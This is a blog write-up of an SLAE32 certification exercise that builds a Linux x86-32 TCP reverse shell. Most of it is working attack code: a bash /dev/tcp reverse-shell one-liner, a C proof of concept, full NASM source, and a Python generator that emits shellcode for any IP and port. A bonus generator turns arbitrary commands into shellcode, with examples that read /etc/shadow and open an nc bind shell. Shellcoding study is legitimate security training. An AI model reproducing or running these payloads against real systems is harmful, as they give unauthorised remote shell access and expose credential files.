Exercise N°2 - Reverse Shell (NASM)

Exercise Goals

SLAE32

This paper is part of the certification process following the SLAE32 course (x86 Assembly Language and Shellcoding on Linux) intended to prepare me to become a future certified OSCE.

If you are willing to pass the certification I really suggest you to wait until you finished your own certification process before reading that paper.

Why? the goal of that certification is to practice and learn how to solve each exercise by yourself. If you read this paper you will get spoiled and seriously oriented to my personal solution and take the risk to abuse of some shortcuts.

  1. Create a TCP Reverse Shellcode for Linux x86-32.

  2. The port number should be easily configurable.

  3. The IP address should be easily configurable.

  4. Bonus if getting referenced in exploit-db or shell-storm.

TCP Reverse Shell Principle

In first exercise we learnt how to create our own TCP Bindshell shellcode using few syscalls (socketcall(), dup2() and execve()).

A reverse shell is almost identital to a classic bindshell, this time instead of having a shellcode that listen for new clients, we will create a shellcode that will connect back to a remote server.

Fortunately, on Linux by default, we do not have any restrictions to manage sockets in client mode.

I invite you to read the first paper before this one. Many things are similiar between the two shellcodes and we will only point main differences.

On Linux (in bellow example Ubuntu 18.04), it is easy to create a simple reverse shell connection only using a single command.

First open the listener (in this case, the attacker’s machine):

root@local:# nc -lvp 443

And then, bellow command will establish a new connection to attacker’s machine and redirect stdin(0), stdout(1) and stderr(2) file descriptors.

user@local:$ /bin/bash -i >& /dev/tcp/127.0.0.1/443 0>&1

Reverse Shell Example

We could also use Netcat 🐱 with mknod command like in previous paper example.

Process

In real life, we will most of the time face reverse shell shellcodes using one of the two first methods brievly introduced bellow.

Since the two first methods are very similar to our first paper, we decided to think out of the box and use a completely different approach.

Indeed, we will spawn a new reverse shell only running a specially crafted command with execve() syscall.

Method 1 and Method 2 chapter will only brievly introduce required steps for creating a reverse shell using different syscalls.

Method 3 is the subject of our paper and will describe the whole process in detail.

Method 1 - Classic

Required Syscalls

Below table is ordered by syscall execution order.

Decimal N° Hex N° Name
359 0x167 socket()
362 0x16a connect()
63 0x3f dup2()
11 0xb execve()

This technique is what we would use if we were coding a classic client program using higher language (C/C++, Pascal etc..).

Steps

  • Create a new IPv4/TCP socket using socket().
  • Establish a new connection to a listening socket defined by its IP address and Port number using connect().
  • Duplicate stdin(0), stdout(1) and stderr(2) file descriptors with client socket using dup2().
  • Finally, spawn a new shell using execve() with /bin/sh or any shell you want.

Method 2 - socketcall()

Below table is ordered by syscall execution order.

Decimal N° Hex N° Name
102 0x66 socketcall()
63 0x3f dup2()
11 0xb execve()

On x86-32 architecture, this technique will remove both socket() and connect() syscalls.

Steps are the same as for method 1, however socketcall() function differently, see previous paper for more detail.

Steps

  • Create a new IPv4/TCP socket using socketcall() and call number SYS_SOCKET(1)
  • Establish a new connection to a listening socket defined by its IP address and Port number using socketcall() and call number SYS_CONNECT(2).
  • Duplicate stdin(0), stdout(1) and stderr(2) file descriptors with client socket using dup2().
  • Finally, spawn a new shell using execve() with /bin/sh or any shell you want.

Method 3 - Run Command

Why would we bother manipulating sockets if everything we need is already natively available through command line? We don’t have to!

Advanced execve()usage schema

It requires four registers: eax, ebx, ecx and edx

  • eax register value needs to be set to 0xb representing the syscall number for execve().
  • ebx register must be set with an address pointing to the program name (/bin/bash).
  • ecx register must contains and address pointing to a NULL terminated array of addresses pointing to arguments to pass to the program.
  • edx register can contain additional environment settings, we won’t use that register so it will point to an address containing NULL.

Assembly Code Creation Plan

Part I - Testing and understanding this technique using high level language (C)

It is a good habit to create things in a higher level language before coding in assembly.

So let’s quickly script something in C.

#include <stdio.h>
#include <unistd.h>

int main(void) {
    char* args[] = { 
        "/bin/bash", "-c", // run a new command (could be /bin/sh to save few bytes)
        "//*/bash -i >& /dev/tcp/127.0.0.1/443 0>&1", // reverse shell command
        NULL // NULL byte telling we reached the last argument
    };

    execve(args[0], &args[0], NULL);

    return 0;
}

user@local:$ gcc poc.c -o poc

Now we open a new listener:

root@local:# nc -lvp 443

and run in another terminal the PoC:

user@local:$ ./poc

Success, we have a shell!

root@ubuntu:/home/phrozen/SLAE32/SLAE-Exam/Level2# nc -lvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from localhost 56256 received!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

phrozen@ubuntu:/home/phrozen/SLAE32/SLAE-Exam/Level2$

Part II - Apply above principle to NASM

1 - Push *pathname

Remember, ebx register must contain an address pointing to a NULL terminated string. This string represent the program we want to run : /bin/bash

We could also use another shell (ex: /bin/sh), this would save 4 bytes to our final shellcode.

Since we are facing a Little Endian architecture, the pushed string must be stored in reverse order.

To prevent extra instructions we also need to take care of alignement. x86-32 address are 4 bytes long so string length must be a multiple of 4.

Since /bin/bash is 9 bytes long, we must add 3 extra / => : ////bin/bash to fit alignement.

Example Stack Dump
Address Content
000000058 0x2f2f2f2f (////)
00000005c 0x2f6e6962 (/nib)
000000060 0x68736162 (hsab)
000000064 0x00000000 (NULL)

Following above stack dump ebx register would be set to 0x00000058


2 - Push *argv[]

This part is the most tricky part so far, ecx register needs to point to a NULL terminated array of addresses. Each address need to point to a NULL terminated string address with the argument value.

We still need to take care of alignement and Endianness.

We will push three different arguments.

Argv[0]

The first argument by convention contains the pathname (/bin/bash). The second argument contains -c which tells bash program we want to run a command line. Finally third argument contains our reverse shell payload string: /bin/bash -i >& /dev/tcp/127.0.0.1/443 0>&1

Notice to save some precious bytes, we can compress the payload string as follows: /*/bash -i>&/dev/tcp/2130706433/443 0>&1

  • /*/bash is a wildcard that will search for any subdirectories containing bash program.
  • 2130706433 is the equivalent of 127.0.0.1 but in “integer” format.
Example Stack Dump
Address Content
000000014 addr(0x000000004) (Argv[0] = ebx)
000000018 addr(0x000000040) (Argv[1])
00000001c addr(0x000000014) (Argv[2])
000000020 0x000000000 (NULL)
000000024 0x622f2a2f (1&>0)
000000028 0x20687361 (344)
00000002c 0x263e692d (/334)
000000030 0x7665642f (6070)
000000034 0x7063742f (312/)
000000038 0x3331322f (pct/)
00000003c 0x36303730 (ved/)
000000040 0x2f333334 (&>i-)
000000044 0x20333434 ( hsa)
000000048 0x31263e30 (b/*/)
00000004c 0x00000000 (NULL)
000000050 0x632d (c-)
000000054 0x00000000 (NULL)

Following above stack dump ecx register would be set to 0x000000014


3 - Push *envp[]

Lastely we need to set the edx register to an address that points to NULL.

The easiest way is to simply push a new NULL to the top of the stack then assign top address of the stack (esp) to edx.

Address Content
000000010 0x00000000 (NULL)

Following above stack dump edx register would be set to 0x00000010

4 - Call execve()

We can finally set eax to 0xb to call the execve() syscall.

*Debugging* on success execve() does not return.

TCP Reverse Shell Code (NASM)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : bindshell.nasm                         ;
; Author   : Jean-Pierre LESUEUR                    ;
; Website  : https://www.phrozen.io/                ;
; Email    : jplesueur@phrozen.io                   ;
; Twitter  : @DarkCoderSc                           ;
;                                                   ;
; --------------------------------------------------;
; SLAE32 Certification Exercise N°2                 ;
; (Pentester Academy).                              ; 
; https://www.pentesteracademy.com                  ;
; --------------------------------------------------;
;                                                   ;
; Purpose:                                          ;
; --------------------------------------------------;
; Reverse Shell                                     ;
; Connects to 127.0.0.1:443 by default              ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

global _start

section .text
_start:
	xor eax, eax	

	;--------------------------------------------------------------------
	; *pathname
	;--------------------------------------------------------------------

	; ///bin//bash
	push eax
	push 0x68736162 ; hsab
	push 0x2f2f6e69 ; //ni
	push 0x622f2f2f ; b///
	mov ebx, esp
	
	;--------------------------------------------------------------------
	; *argv[]
	;--------------------------------------------------------------------	

	; -c
	mov ax, 0x632d
	push eax
	xor eax, eax
	mov edx, esp

	; /*/bash -i>&/dev/tcp/2130706433/443 0>&1
	push eax
	push 0x31263e30 ; 1&>0
	push 0x20333434 ;  344
	push 0x2f333334 ; /334
	push 0x36303730 ; 6070
	push 0x3331322f ; 312/
	push 0x7063742f ; pct/
	push 0x7665642f ; ved/
	push 0x263e692d ; &>i-
	push 0x20687361 ;  hsa
	push 0x622f2a2f ; b/*/	
	
	mov esi, esp

	push eax        ; EOF Arguments 	

	push esi        ; Argv[2] = "/bin//bash -i >& /dev/tcp/127.0.0.1/443 0>&1"

	push edx        ; Argv[1] = "-c"

	push ebx        ; Argv[0] = "/bin/bash"

	mov ecx, esp

	;--------------------------------------------------------------------
	; *envp[] - We don't care (NULL)
	;--------------------------------------------------------------------	
	push eax
	mov edx, esp

	;--------------------------------------------------------------------
	; execve() syscall
	;--------------------------------------------------------------------	
	mov al, 0xb     

	int 0x80

Compile and Test our Payload

user@local:$ nasm -f elf32 -o revshell.o revshell.nasm

user@local:$ ld -o revshell revshell.o

Now we open a new listener:

root@local:# nc -lvp 443

and run in another terminal the PoC:

user@local:$ ./revshell

Success, we have a shell!

NASM Reverse Shell

Shellcode Builder (Python3)

The last required objective for this exercise is to create a builder to easily patch the final shellcode with desired IP address and TCP port number.

This objective requires more work than for TCP bindshell but is by far more straightforward.

We only need to patch one string in our final payload (highlighted in bellow screen).

Objdump

To do so we must especially take care of two things:

N°1

Each chunks (stack pushes) of our final string payload must be aligned to 4 bytes and reversed.

N°2

We will translate IP Address in its integer equivalent (network byte order) using inet_aton from socket library. This will minimize final shellcode length.

Builder Code (Python3)

#!/usr/bin/python3

'''
	Jean-Pierre LESUEUR
	@DarkCoderSc

	jplesueur@phrozen.io
	https://www.phrozen.io

	***
	SLAE32 Certification Exercise N°2
 	(Pentester Academy).
 	https://www.pentesteracademy.com
	***

	Description:

 	Generate a TCP Reverse Shell with desired IP Address and TCP Port number.
'''

import socket
import sys
import struct
from textwrap import wrap

def fail(message):
    print("[\033[31mKO\033[39m] " + message)

def success(message):
    print("[\033[32mOK\033[39m] " + message)
	
try:
	if len(sys.argv) != 3:
		print("Usage: ./gen_revshell.py <LHOST> <LPORT>")

		raise
	else:
		LHOST = sys.argv[1]
		try:			
			socket.inet_aton(LHOST)
		except:
			fail("Invalid IP address (ex:127.0.0.1)")
			raise

		try:
			LPORT = int(sys.argv[2])

			if (LPORT > 65535) or (LPORT < 0):
				raise
		except:
			fail("Invalid port number (0..65535)")
			raise
except:
	sys.exit()			

revstr = "/*/bash -i>&/dev/tcp/{}/{} 0>&1"

payload = ""

payload += "\\x31\\xc0"                 # xor eax, eax
payload += "\\x50"                      # push eax
payload += "\\x68\\x62\\x61\\x73\\x68"  # push   0x68736162
payload += "\\x68\\x69\\x6e\\x2f\\x2f"  # push   0x2f2f6e69
payload += "\\x68\\x2f\\x2f\\x2f\\x62"  # push   0x622f2f2f
payload += "\\x89\\xe3"                 # mov    ebx,esp
payload += "\\x66\\xb8\\x2d\\x63"       # mov    ax,0x632d
payload += "\\x50"                      # push   eax
payload += "\\x31\\xc0"                 # xor    eax,eax
payload += "\\x89\\xe2"                 # mov    edx,esp
payload += "\\x50"                      # push   eax
#########################################

'''
	Align command following chosen options
'''
LHOST = struct.unpack("!I", socket.inet_aton(LHOST))[0]

revstr = revstr.format(LHOST, LPORT)

pad = 4 - (len(revstr) % 4)

if (pad < 4):
	revstr = ("/"*pad) + revstr

'''
	Write our reverse shell command (Aligned)
'''

for i in reversed(range(0, len(revstr), 4)):
	opcode = "\\x68"
	for n in range(4):
		opcode += "\\x" + revstr[i:(i+4)][n:(n+1)].encode('ascii').hex()
		

	payload += opcode

#########################################
payload += "\\x89\\xe6"                 # mov    esi,esp
payload += "\\x50"                      # push   eax
payload += "\\x56"                      # push   esi
payload += "\\x52"                      # push   edx
payload += "\\x53"                      # push   ebx
payload += "\\x89\\xe1"                 # mov    ecx,esp
payload += "\\x50"                      # push   eax
payload += "\\x89\\xe2"                 # mov    edx,esp
payload += "\\xb0\\x0b"                 # mov    al,0xb
payload += "\\xcd\\x80"                 # int    0x80

size = int(len(payload) / 4)
success("Shellcode successfully generated size={} Bytes.".format(size))

final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"

for l in wrap(payload, 64):
	final_payload += "\t\"{}\"\n".format(l)

final_payload = final_payload[:-1] + ";"

print(final_payload)

Usage

user@local:$ python3 ./gen_revshell.py 172.16.20.145 1403

or

user@local:$ chmod +x gen_revshell.py && ./gen_revshell.py 172.16.20.145 1403

Replace IP address with yours, 172.16.20.145 was my Ubuntu VM actual local IP address.
Never execute shellcodes from unknown sources without understanding what they really do. (Ndisasm and GDB are your best friend)
// Shellcode size = 100
unsigned char code[] = \
        "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
        "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x30"
        "\x3e\x26\x31\x68\x34\x30\x33\x20\x68\x39\x33\x2f\x31\x68\x37\x33"
        "\x34\x39\x68\x32\x38\x38\x36\x68\x74\x63\x70\x2f\x68\x64\x65\x76"
        "\x2f\x68\x69\x3e\x26\x2f\x68\x73\x68\x20\x2d\x68\x2a\x2f\x62\x61"
        "\x68\x2f\x2f\x2f\x2f\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89\xe2"
        "\xb0\x0b\xcd\x80";

We can place above raw shellcode in our C template.

#include<stdio.h>
#include<string.h>

// Shellcode size = 100
unsigned char code[] = \
        "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
        "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x30"
        "\x3e\x26\x31\x68\x34\x30\x33\x20\x68\x39\x33\x2f\x31\x68\x37\x33"
        "\x34\x39\x68\x32\x38\x38\x36\x68\x74\x63\x70\x2f\x68\x64\x65\x76"
        "\x2f\x68\x69\x3e\x26\x2f\x68\x73\x68\x20\x2d\x68\x2a\x2f\x62\x61"
        "\x68\x2f\x2f\x2f\x2f\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89\xe2"
        "\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

user@local:$ gcc shellcode.c -o shellcode -z execstack

Now we open a new listener:

root@local:# nc -lvp 443

and run in another terminal the PoC:

user@local:$ ./shellcode

And enjoy!

Conclusion

TCP Bindshell and Reverse Shell principles are quite similar if you except to do it using the standard way (through socket programming).

Since doing repetitive things is boring, we studied a good alternative only using the execve() syscall.

We could modify few things in our python shellcode generator and create a variant to generate this time shellcodes to run any commands.

By chance, we did it!

Bonus - Command Shellcode Generator (Python3)

#!/usr/bin/python3

'''
	Jean-Pierre LESUEUR
	@DarkCoderSc

	jplesueur@phrozen.io
	https://www.phrozen.io
'''

import sys
from textwrap import wrap

def fail(message):
    print("[\033[31mKO\033[39m] " + message)

def success(message):
    print("[\033[32mOK\033[39m] " + message)
	
if len(sys.argv) != 2:
	print("Usage: ./gen_cmd_shellcode.py <command>")

	sys.exit()

command = sys.argv[1]

payload = ""

payload += "\\x31\\xc0"                 # xor eax, eax
payload += "\\x50"                      # push eax
payload += "\\x68\\x62\\x61\\x73\\x68"  # push   0x68736162
payload += "\\x68\\x69\\x6e\\x2f\\x2f"  # push   0x2f2f6e69
payload += "\\x68\\x2f\\x2f\\x2f\\x62"  # push   0x622f2f2f
payload += "\\x89\\xe3"                 # mov    ebx,esp
payload += "\\x66\\xb8\\x2d\\x63"       # mov    ax,0x632d
payload += "\\x50"                      # push   eax
payload += "\\x31\\xc0"                 # xor    eax,eax
payload += "\\x89\\xe2"                 # mov    edx,esp
payload += "\\x50"                      # push   eax
#########################################

'''
	Align command following chosen options
'''
pad = 4 - (len(command) % 4)

if (pad < 4):
	command = ("/"*pad) + command

'''
	Write our reverse shell command (Aligned)
'''

for i in reversed(range(0, len(command), 4)):
	opcode = "\\x68"
	for n in range(4):
		opcode += "\\x" + command[i:(i+4)][n:(n+1)].encode('ascii').hex()
		

	payload += opcode

#########################################
payload += "\\x89\\xe6"                 # mov    esi,esp
payload += "\\x50"                      # push   eax
payload += "\\x56"                      # push   esi
payload += "\\x52"                      # push   edx
payload += "\\x53"                      # push   ebx
payload += "\\x89\\xe1"                 # mov    ecx,esp
payload += "\\x50"                      # push   eax
payload += "\\x89\\xe2"                 # mov    edx,esp
payload += "\\xb0\\x0b"                 # mov    al,0xb
payload += "\\xcd\\x80"                 # int    0x80

size = int(len(payload) / 4)
success("Shellcode successfully generated, size={} Bytes.".format(size))

final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"

for l in wrap(payload, 64):
	final_payload += "\t\"{}\"\n".format(l)

final_payload = final_payload[:-1] + ";"

print(final_payload)

Few examples

user@local:$ ./gen_cmd_shellcode.py "/bin/cat /etc/passwd"

// Shellcode size = 70
unsigned char code[] = \
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
    "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x73"
    "\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x20\x2f\x65\x74\x68\x2f\x63"
    "\x61\x74\x68\x2f\x62\x69\x6e\x89\xe6\x50\x56\x52\x53\x89\xe1\x50"
    "\x89\xe2\xb0\x0b\xcd\x80";

user@local:$ ./gen_cmd_shellcode.py "/bin/cat /etc/shadow"

// Shellcode size = 70
unsigned char code[] = \
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
    "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x61"
    "\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x20\x2f\x65\x74\x68\x2f\x63"
    "\x61\x74\x68\x2f\x62\x69\x6e\x89\xe6\x50\x56\x52\x53\x89\xe1\x50"
    "\x89\xe2\xb0\x0b\xcd\x80";

user@local:$ ./gen_cmd_shellcode.py "/bin/ip a && /bin/uname -r"

// Shellcode size = 80
unsigned char code[] = \
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
    "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x65"
    "\x20\x2d\x72\x68\x75\x6e\x61\x6d\x68\x62\x69\x6e\x2f\x68\x26\x26"
    "\x20\x2f\x68\x70\x20\x61\x20\x68\x69\x6e\x2f\x69\x68\x2f\x2f\x2f"
    "\x62\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";

user@local:$ ./gen_cmd_shellcode.py "/bin/nc -lvp 443 -e /bin/bash"

// Shellcode size = 85
unsigned char code[] = \
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
    "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x62"
    "\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2d\x65\x20\x2f\x68\x34\x34"
    "\x33\x20\x68\x6c\x76\x70\x20\x68\x6e\x63\x20\x2d\x68\x62\x69\x6e"
    "\x2f\x68\x2f\x2f\x2f\x2f\x89\xe6\x50\x56\x52\x53\x89\xe1\x50\x89"
    "\xe2\xb0\x0b\xcd\x80";

user@local:$ ./gen_cmd_shellcode.py "/bin/cat /root/root.txt"

// Shellcode size = 75
unsigned char code[] = \
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
    "\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x2e"
    "\x74\x78\x74\x68\x72\x6f\x6f\x74\x68\x6f\x6f\x74\x2f\x68\x74\x20"
    "\x2f\x72\x68\x6e\x2f\x63\x61\x68\x2f\x2f\x62\x69\x89\xe6\x50\x56"
    "\x52\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
comments powered by Disqus